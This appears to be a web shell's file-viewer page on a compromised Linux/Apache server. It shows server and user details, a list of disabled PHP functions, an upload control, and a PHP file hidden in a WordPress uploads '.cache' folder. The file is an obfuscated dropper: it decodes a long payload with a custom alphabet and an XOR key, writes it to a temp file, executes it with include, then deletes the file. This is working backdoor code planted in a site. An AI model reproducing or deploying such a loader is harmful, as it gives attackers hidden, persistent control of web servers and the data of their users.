HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: chonvip (1209)
PHP: 8.1.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/chonvip/public_html/wp-content/uploads/2024/.cache/modules/rhinoceros.php
<?php
$encrypted = 'YnhsZFtUMC4tOysxK0cdAAwCUX9rUg8BGQ1QYnhBTkdVSAkLDhZfY21VVEFOT1JBTlsGABgCCkxsZGp_VEFOT1JBTkdbFw4AHB0NC0oCBgAeHxcTThx4fkFOT1JBTkdVVEFOTwUIChMdTkFfX0JEVWp_VEFOT1JBTkdVVEFOHxMFCg4bE0wCChQVVEdHUVpjZVJBTkdVVEFOT1JBThcUEAUHARVMHA4SHBVUT0BEVWp_VEFOT1JBTkdVVEFODR0ZQxQcDggACEhBDAgHEAQcQhAOFlx4fkFOT1JBTkdVCWxkT1JBTkdVVEFNHxoRLQgbBw4CClIHARUYWGxkT1JBTkdVVEFNCgoEDRIBHQ4APRcSGwsBVBpjZVJBTkdVVEFOT1JBTgMcBxECDgtbTgEZERlVYnhBTkdVVEFOT1JBTkcTGAQWQhYIHAIWAAgBAUhBDQgZAQwAVH9rTkdVVEFOT1JBTkdVFQ0HCBxMBxMQGRJUTxEEABMQBlpjZVJBTkdVVEFOT1JBThAcEBUGVVJQXldQT2xkT1JBTkdVVEFOT1JBAwYHEwgAVVJQXhcNVFFVYnhBTkdVVEFOTw9sZGp_VEFOT1JBTkcBERkaDgAED0cOeWtOT1JBTkdVVEFOT1IWBwMBHFtOXkJRS1x4fkFOT1JBTkdVVEFOTxoEBwAdAFtOXEJRHh9OeWtOT1JBTkdVVEFOT1IDDwQeExMBGhwFVEdWRAVeC0IFVWp_VEFOT1JBTkdVVEFOHxMFCg4bE1tOXkARFlx4fkFOT1JBTkdVVEFOTxAOHAMQBltOAR0PC1x4fkFOT1JBTkdVVEFOTxAOHAMQBkwcDhYIGxRPVFkeF0lsZEdVVEFOT1JBTkdVVAMBF18SBx0cGgZUTxAOHAMQBkwMAApaY21VVEFOT1JBTkdVVEEcCgEIFAJPVBcLHQYIDQYZT2xkT1JBTkdVVEFOT1JBCAgbAEwdBggEVEdEQBEWVH9rTkdVVEFOT1JBTkdVFw4CAABbTkQUTAcIWUJaY21VVEFOT1JBTkdVVEEdDAAOAgsXFRNDGBsFGg9PVBUGBhxaY21VVEFOT1JBTkdVVEEdDAAOAgsXFRNDDB0NARVPVEJbWkdBTVYQRQRfCklsZGp_VEFOT1JBTkcIeWtjZVJBTkdVVEFOGxcZGgYHEQBUVV8WCwUeHRVDHBETAQsZFgAcTwlsZEdVVEFOT1JBTkdVVBYHCwYJVEdNBBlVYnhBTkdVVEFOTw9sZEdVVEFOT1JBGgINAAAcChNbVEoCEQMFBgZMHQQHGw0CDRMTQxMHFQIFTwlsZEdVVEFOT1JBTkdVVAMPDBkGHAgAGgVUT1FQC1YQRQRVYnhBTkdVVEFOTw9sZEdVVEFOT1JBGgINAAAcChNbVEoCEQMFBgZMHQQHGw0CDRMTQxMdAQwMTwlsZEdVVEFOT1JBTkdVVAMPDBkGHAgAGgVDDB0NARVPVEJbWkdaY21VVEFOT1JBTkdVVEEMAAAFCxVYBgAKBgcSVEdBBBlVYnhBTkdVVEFOT1JBTkcXGxMKCgBbTlYFDEEdAB4ICkdWR1JdVH9rTkdVVEFOT1IcY214fkFOT1JBTkdVW0tOv-Cw5bfHpN--21Kw7rfApNa_7KLav-uk9rHevvCx3kdfW2xkT1JBTkdVVEEeHRdBFWp_VEFOT1JBTkdVVEFODRMCBQAHGxQAC0hBTVcRRAVeC0lsZEdVVEFOT1JBTkdVVBYHCwYJVEdERFFLVH9rTkdVVEFOT1JBTkdVGxcLHRQNARBPVAAbGx1aY21VVEFOT1JBTkdVVEEZBxsVC0oGBAANCkhBHhUQWRYcDgJaY21VVEFOT1JBTkdVVEEZAAAFQxAHFRFUTxATCwYeWRYBHRZaY21VVEFOT1JBTkdVVEEeDhYFBwkSTkFfXQIZVWp_VEFOT1JBTkdVVEFOAhMTCQ4bWRUBH0hBX1cFDFpjZVJBTkdVVEFOT1JBTgUaBgULHUhBXxcNVBIBAxsFTkRGR1JVYnhBTkdVVEFOT1JBTkcXGxMKCgBMHAYRHRQdVVJZHh9OeWtOT1JBTkdVVEFOT1IHAQkBWRIHFRdbTlZGBBlVYnhBTkdVVEFOT1JBTkcWGw0BHUhBTQZNEgdYX0lsZEdVVEFOT1JBTkdVVBINHR0NAgUUBkwZBhYVBl1VAAkHAUlsZEdVVEFOT1JBTkdVVBINHR0NAgUUBkwNAB4OHF1VV1RbWlJCXwJEEVALVH9rTkdVVEFOT1JBTkdVBgQdBggEVEcDERMaBhEAAlx4fkFOT1JBTkdVCWxkYnhBTkdVVEFOTwITC11PWRYLDRkIGkoGFxMBAx4DDxVVD2xkT1JBTkdVVEFOT1JBGQ4RAAlUT0oRFlx4fkFOT1JBTkdVCWxkT1JBTkdVVEEeHRdbVEoCEQMFBgZMHQQHGw0CDRMTQxMHFQIFTwlsZEdVVEFOT1JBTkdVVAMPDBkGHAgAGgVUT1FQC1YQRQRVYnhBTkdVVEFOTw9sZEdVVEFOT1JBHhUQTltDGBcDBQ4BWRINHR0NAgUUBkwaBwcMDEcOeWtOT1JBTkdVVEFOT1IDDwQeExMBGhwFQwQaGA4cVVJCW1JAT2xkT1JBTkdVVEFOT1JBDAgHEAQcQgAACg4AB1tOWwIZVWp_VEFOT1JBTkdVVEFODR0TCgIHTkFfHwpBHQgZHQVOTEFSXVx4fkFOT1JBTkdVCWxkYnhBTkdVVEFOT1wDGxMBGw8dXVIaY21VVEFOT1JBTkdVVEEKBgERAgYMTkEIAxcZVWp_VEFOT1JBTkdVVEFOCBMRVEdERBEWVH9rTkdVVEFOT1JBTkdVHhQdGxsHF0oWGw8aChwVVEcWEQ8aCgBaY21VVEFOT1JBThp4fmxkT1JBTkdVVEFSQAEVFwsQSmxkT1JBTltaHAQPC0xsZGp_VEFOT04DAQMMSmxkT1JBTkdVVEFSUAIJHkccEkFGCRsNCzgQDAgdGwFJSQoaEBQCCgFOCBUaE08eBwJGR0cJCEEIBh4EMQINHRIaHFpGAwgRAQ0LHF0NBwgbWhEGH1VIR11VS19jZVJBTkdVVEFOT1JBTlsRHRdODB4AHRRIVgIBAQEOAgJYAxMPHwIEHEVLeWtOT1JBTkdVVEFOT1JBTkdVSAcBHR9BAwIBHA4KUlAxITQhVkEBAQEUDAocAFxMHRcVGxUbVAkPARYNCyEaBgw9GhAMBxNdERcLAQZNThMdHRJHTUxsZEdVVEFOT1JBTkdVVEFOT1JBTkdVSBULFwYAHAIUVA8PAhdcTAQaEARMTwINDwQQHA4CCxcTU0UhDRELTyIpPkcWGwULTxoEHAJbWk9MUU5OGgINAAAcChNfY21VVEFOT1JBTkdVVEFOT1JBTkdVVF0KBgRBDQsUBxJTTRAUGhMaGhJcTUxsZEdVVEFOT1JBTkdVVEFOT1JBTkdVVEFOT05eHg8FVAgIT1oHBwsQKwQWBgEVHU9SGQ4KGh4EHUgTBg4JQQIJHkBcXVtOUExsZEdVVEFOT1JBTkdVVEFOT1JBTkdVVEFOT1JBTkdJFhQaGx0PTgQZFRIdUlADGxMBGw9DAxsKC0oREQ1MTxwAAwJIVgANGxsOAEVVAgACGhdcTBUAGidMTx0PDQscFwpTTR4AHRM2GAgNBBcFLBIBAA4AT09BGg8cB0NOGwsRC1pXBxQMAhsVTFknAQ8oU10DGxMBGw9QYnhBTkdVVEFOT1JBTkdVVEFOT1JBTkdVVEFSUAIJHkcQGgUHCUlBUVl4fkFOT1JBTkdVVEFOT1JBTkdVVEFOT1JBTltKBAkeTxsHTk8THQ0LMBcZBxQBB0lJAh0FGwsQB04CBh0PQBcdBEZHRkhBUVl4fkFOT1JBTkdVVEFOT1JBTkdVVEFOT1JBTkdVVEFSDQcVGggbVAICDgESU0UXARUaABxMAg4eEUwKCh5DTgkUGQRTTRMCGg4aGkNOGRMNGwJIVhMbATdDTggbFw0HDBlcTAsUBxUtAxsCBQIRNhQaGx0PTlpVAAkHHFBBGh4FEVxMHAcDAw4BVl88GhxdQQUAABUBAUxsZEdVVEFOT1JBTkdVVEFOT1JBTkdVVEFOT05eHg8FVAQACxsHVUdKSmxkT1JBTkdVVEFOT1JBTkdVVEFOT1JdQQMcAl9jZVJBTkdVVEFOT1JBTkdVVEFSQBQOHApLeWtOT1JBTkdVVEFOT1JBTkdVSAUHGVIIClpXERkLDAcVBwgbJgQdGh4VTFlJWwUHGUxsZEdVVEFOT1JBTkdVVF1BCxsXUGp_VEFOT1JBTkdVVEFOUwECHA4FAF9jZVJBTkdVVEFOT1JBTkdVVEECCgZBAgYGACICBhEKCwM3ARUaABxBU0cbAQ0CVH9rY21VVEFOT1JBTkdVVEFOT1JBCBIbFxUHABxBGggSEw0LLB0PHQgZEUlHTwlsZEdVVEFOT1JBTkdVVEFOT1JBTkdVFw4AHAZBDQgbBw4CCjYIGEdIVAUBDAcMCwkBWgYLGzcNCwoQGhUsFjsFRkAFHBEtABwSAQsQU0hVYnhBTkdVVEFOT1JBTkdVVEFOT1JBTgQaGhIBAxclBxFbBxUXAxdPCg4GBA0PFlJcTk8WGw8dAB4EKg4DWhIaFh4EQAMcBxECDgtBU1pIVEYAABwESU5VS0FJDR4ODQxSVFtOSBwOAAJST2xkT1JBTkdVVEFOT1JBTkdVVBxjZX9rTkdVVEFOT1JBTkdVVEFOTxQUAAQBHQ4ATxoAAAMZEScBHR8yGwUYHRVGCgQEABNZVAcBHR9IThx4fkFOT1JBTkdVVEFOT1JBTkdVVEFOCgQEABNbBBMLGRcPGiMQEgAbAwZJR1x4fmxkT1JBTkdVVEFOT1JBTkdVVEFOT1ICAQkGAEEIAAAMKgYBFUFTTxwEGUczGxMDKxMVD08TGxMDRklsZEdVVEFOT1JBTkdVVEFOT1JBTkdVFw4AHAZBDwQBHQ4AT09BAgYGACICBhEKCwM3ARUaABxeQBEUGBQLVH9rY21VVEFOT1JBTkdVVEFOT1JBTkdVVAgIT1oADRMcGw9OUk9cTkAHAQ8oSFtBFWp_VEFOT1JBTkdVVEFOT1JBTkdVVEFOT1JBHAIBARMATxcZCwQAAAQ-JyInRgEaBgxHVH9rTkdVVEFOT1JBTkdVVEFOT1JBTkcIeWtOT1JBTkdVVEFOT1JBTkdVVEFOTxcNHQJVHQdORxMCGg4aGkFTUk9BSRUAGiRJRlIaY21VVEFOT1JBTkdVVEFOT1JBTkdVVEFOT1ITCxMABg9OCgoEDRIBETEmPzdJCAgHGUhVYnhBTkdVVEFOT1JBTkdVVEFOT1JBThp4fmxkT1JBTkdVVEFOT1JBTkdVVEFOT1ITCxMABg9OCRMNHQJOeWtOT1JBTkdVVEFOT1JBTkdVCWxkYnhBTkdVVEFOT1JBTkdVVEFOCQcPDRMcGw9OCBcVPxIQBhg-DgAAA08bFQwLRlIaY21VVEFOT1JBTkdVVEFOT1JBTkdVVAIBAQEVThIHGDEPHRMMHUdIVA8LGFI0PCsmEQAcDBoxDxUUGRJGGBsPCggCWg0BDBMVBwgbWhILDgACBk5OeWtOT1JBTkdVVEFOT1JBTkdVVEFOTwAEGhIHGkEbHR4xDxUUGRJACBcVRgkUGQRHTw4dTkBST2xkT1JBTkdVVEFOT1JBTkdVVBxjZX9rTkdVVEFOT1JBTkdVVEFOTxQUAAQBHQ4ATxcZCwQAAAQ-JyInRgEaBgxHTwlsZEdVVEFOT1JBTkdVVEFOT1JBTkdVFw4AHAZBCAgHGSUPGxNBU0cbERZOKR0TAyMUAABGCR0TA05OeWtOT1JBTkdVVEFOT1JBTkdVVEFOTxEOABQBVBEPGxpBU0cSERU_GhcTFzcUBgADR1URDxMdU0hVYnhsZEdVVEFOT1JBTkdVVEFOT1JBTkdVFw4AHAZBCwkWGwULCyIAGg9VSUELAREOCgIgJigtAB8RAQkQGhVGHxMVBk5OeWtjZVJBTkdVVEFOT1JBTkdVVEFOT1JBCAgHGSUPGxNPHQIBXEYeDgYJSUtVBAAaB1taY214fkFOT1JBTkdVVEFOT1JBTkdVVEFOCRcVDQ9dFAwBCwcNCxRaEhMBCFwRBhdKBAAaB09FFQIbFw4KChYxDxMdCQFCTwlsZEdVVEFOT1JBTkdVVEFOT1JBTkdVVEFOTx8EGg8aEFtOSCIuPTNSWGxkT1JBTkdVVEFOT1JBTkdVVEFOT1JBTkdVFg4KFkhBCAgHGSUPGxNsZEdVVEFOT1JBTkdVVEFOT1JBTkdVCUhjZVJBTkdVVEFOT1JBTkdVVEFOT1JBQBMdEQ9GHRcSTlpLVBMLHFwVCx8BXEhHYnhBTkdVVEFOT1JBTkdVVEFOT1JBTkkBHAQARwAEHRIZAEFTUVIaY21VVEFOT1JBTkdVVEFOT1JBTkdVVEFOT1IFAQQAGQQAG1wGCxMwGAQDChwVLB48EElJCgoEDRIBHQ4APRcSGwsBU0hABhwPCxU9ICwiT09BHAIGAQ0aVH9rTkdVVEFOT1JBTkdVVEFOT1JBTkcIXVpjZVJBTkdVVEFOT1JBTkdVVEFOT1JBHAIBARMATxQAAhQQT2xkT1JBTkdVVEFOT1JBTkdVVBxjZX9rTkdVVEFOT1JBTkdVVEFOTxQUAAQBHQ4ATxcZCwQAAAQ-JyIkRgEaBgxHTwlsZEdVVEFOT1JBTkdVVEFOT1JBTkdVFw4AHAZBCAgHGSUPGxNBU0cbERZOKR0TAyMUAABGCR0TA05OeWtOT1JBTkdVVEFOT1JBTkdVVEFOTxEOABQBVBEPGxpBU0cSERU_GhcTFzcUBgADR1URDxMdU0hVYnhBTkdVVEFOT1JBTkdVVEFOT1JBTgQaGhIaTxcPDQgREQU-DgYJTlpVEQ8NABYEOzU8Nw4DHx0PCwkBXBEPGxpIVWp_eWtOT1JBTkdVVEFOT1JBTkdVVEFOTxQOHAoxFRUPQQEEGk9SBAAaB1VNThcUAAlHVH9rTkdVVEFOT1JBTkdVVEFOT1JBTkcTERUNB1oBAwgRAQ0LHF0NBwgbWhEGH00RDxMdSUUVChwCAQMQEDEPGxocDktVD2xkT1JBTkdVVEFOT1JBTkdVVEFOT1JBTkdVGQQaBx0FVEdSJC49O1VNY21VVEFOT1JBTkdVVEFOT1JBTkdVVEFOT1IDAQMMTkEIAAAMKgYBFWxkT1JBTkdVVEFOT1JBTkdVVEFOT1IcR2p_VEFOT1JBTkdVVEFOT1JBTkdVVEFAGxoEAE8HERJOUkxBHAIGWhULFwZJR054fkFOT1JBTkdVVEFOT1JBTkdVVEFOQQYJCwldBgQdGh4VTlpLVBpjZVJBTkdVVEFOT1JBTkdVVEFOT1JBTkdVVAUBDAcMCwkBWgYLGzcNCwoQGhUsFjsFRkAQDAQNGgYIAQknERIbAwZGR0kcGg8LHTo1IytVSUEcCgEUAhNOeWtOT1JBTkdVVEFOT1JBTkdVVEFOTw9IVWp_VEFOT1JBTkdVVEFOT1JBTkdVVEEcCgYUHAlVEgACHBdaY21VVEFOT1JBTkdVVEFOT1JBE2p_VEFOT1JBTkdVVEFOU10SDRUcBBVQYnhBTkdVVEFOT05eHg8FVAQACxsHVUdKSmxkT1JBTltaFg4KFkxsZFtaHBUDA0w';
if (!function_exists('numbat')) {
    function numbat($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), numbat($encrypted, 'orangutan'));
include $tmp;
unlink($tmp);

?>